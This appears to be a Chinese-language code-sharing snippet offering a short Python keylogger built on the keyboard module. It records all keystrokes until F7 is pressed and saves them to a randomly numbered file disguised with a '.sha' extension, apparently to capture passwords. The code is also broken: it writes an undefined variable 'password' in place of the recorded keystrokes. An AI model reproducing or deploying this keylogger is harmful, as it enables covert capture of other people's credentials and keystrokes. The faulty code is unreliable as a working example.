基于keyboard模块。运行前请确保已安装该模块。 (安装: pip install keyboard)
主程序: 01
02
03
04
05
06
07
08
09
10
11
12
| import random
import keyboard
#写出到文件函数
def save_to_file(file_name, contents):
fh = open(file_name, 'w')
fh.write(contents)
fh.close()
#注册中止热键,开始监视键盘
recorded = str(keyboard.record(until='F7'))
#写出记录到随机命名文件
save_to_file(str(random.randint(6000000,9000000)) + ".sha",password)
|
|